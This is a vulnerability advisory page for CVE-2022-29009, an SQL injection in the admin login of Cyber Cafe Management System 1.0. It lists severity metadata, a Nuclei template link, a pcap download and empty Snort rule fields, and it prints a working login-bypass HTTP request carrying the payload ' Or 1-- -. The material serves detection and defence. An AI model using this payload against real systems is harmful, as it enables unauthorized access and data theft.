🔙 목록으로 돌아가기

CVE-2022-29009: Cyber Cafe Management System 1.0 - SQL Injection

TitleCyber Cafe Management System 1.0 - SQL Injection
AuthorTenBird
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.87745
CVE IDCVE-2022-29009
CWE IDCWE-89
Tags cve cve2022 sqli auth-bypass edb phpgurukul vuln

🔍 Vulnerability Description

Cyber Cafe Management System 1.0 contains multiple SQL injection vulnerabilities via the username and password parameters in the Admin panel. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /ccms/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 39
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

username=%27+Or+1--+-&password=1&login=
GET /ccms/dashboard.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5) AppleWebKit/618.3.5 (KHTML, like Gecko) Version/17.4 Safari/618.3.5
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-29009.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-29009.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A